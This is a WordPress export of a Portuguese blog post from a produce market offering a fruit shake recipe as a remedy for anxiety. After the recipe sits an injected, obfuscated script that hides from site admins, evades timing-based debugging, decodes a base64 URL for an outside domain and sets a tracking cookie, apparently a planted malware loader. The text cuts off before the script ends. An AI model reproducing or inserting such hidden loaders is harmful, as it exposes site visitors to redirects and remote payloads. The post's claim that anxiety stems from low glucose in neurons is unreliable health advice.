{"id":175,"date":"2021-07-15T12:00:52","date_gmt":"2021-07-15T15:00:52","guid":{"rendered":"http:\/\/ceagguarulhos.com.br\/blog2\/?p=175"},"modified":"2026-06-10T05:32:26","modified_gmt":"2026-06-10T08:32:26","slug":"shake-para-ansiedade","status":"publish","type":"post","link":"https:\/\/ceagguarulhos.com.br\/blog2\/2021\/07\/15\/shake-para-ansiedade\/","title":{"rendered":"Shake para ansiedade"},"content":{"rendered":"\n<figure class=\"wp-block-gallery columns-1 is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"5\" src=\"http:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png\" alt=\"\" data-id=\"26\" data-full-url=\"http:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag.png\" data-link=\"http:\/\/ceagguarulhos.com.br\/blog2\/2020\/04\/08\/trinta-beneficios-da-banana-para-a-sua-saude\/faixa-ceag\/\" class=\"wp-image-26\" srcset=\"https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png 1024w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-300x1.png 300w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-768x3.png 768w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1536x7.png 1536w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-2048x9.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><\/ul><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">O CEAG se preocupa com a sa\u00fade, portanto, esse m\u00eas de julho, postaremos sobre algumas receitas de sucos e shakes que fazem bem para o organismo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cBebidas para o sistema nervoso \u2013 ANSIEDADE\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hoje falaremos um pouco sobre a ansiedade. Segundo a OMS, quase 19 milh\u00f5es de pessoas no pa\u00eds enfrentam sintomas e os efeitos da ansiedade. Os estados de ansiedade podem estar associados a um n\u00edvel insuficiente de glicose nos neur\u00f4nios. Eles precisam de um fornecimento constante de glicose e de oxig\u00eanio, e quando algum desses compostos est\u00e1 em falta, surge a irritabilidade, a ansiedade e o nervosismo.<br>A receita do shake a seguir fornece glicose a partir de fontes saud\u00e1veis como bananas, morangos e mel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shake Doce Calma<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ingredientes:<br>(para tr\u00eas por\u00e7\u00f5es de 250 ml)<br>&#8211; 2 bananas pequenas<br>&#8211; 1 x\u00edcara de morangos (cerca de 140 g)<br>&#8211; 4 colheres (sopa) de leite de coco (60 ml)<br>&#8211; 2 colheres (ch\u00e1) de g\u00e9rmen de trigo (cerca de 10 g)<br>&#8211; 2 colheres (sopa) de mel (cerca de 40 g)<br>&#8211; 1 x\u00edcara de leite de aveia ou leite de soja (240 ml)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Modo de preparo:<br>1. Colocar todos os ingredientes no liquidificador.<br>2. Bater at\u00e9 obter uma consist\u00eancia homog\u00eanea.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Prontinho, est\u00e1 a\u00ed uma receita importante para a sua sa\u00fade.<br>Fa\u00e7a essa receita e comente aqui o que achou! \ud83d\ude0a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Veja outras receitas e benef\u00edcios no nosso BLOG e visite nosso Instagram https:\/\/www.instagram.com\/ceagatacadohortifruti\/.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No CEAG voc\u00ea encontra uma variedade de frutas, legumes, verduras e gr\u00e3os. \ud83c\udf47\ud83c\udf4a\ud83c\udf4e\ud83c\udf49\ud83c\udf4d\ud83c\udf4f\ud83c\udf50\ud83c\udf4c\ud83c\udf53\ud83c\udf52\ud83c\udf51<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.instagram.com\/explore\/tags\/vemproceag\/\">#VEMPROCEAG<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fonte: Costanorte; Livro: O poder medicinal de sucos e shakes.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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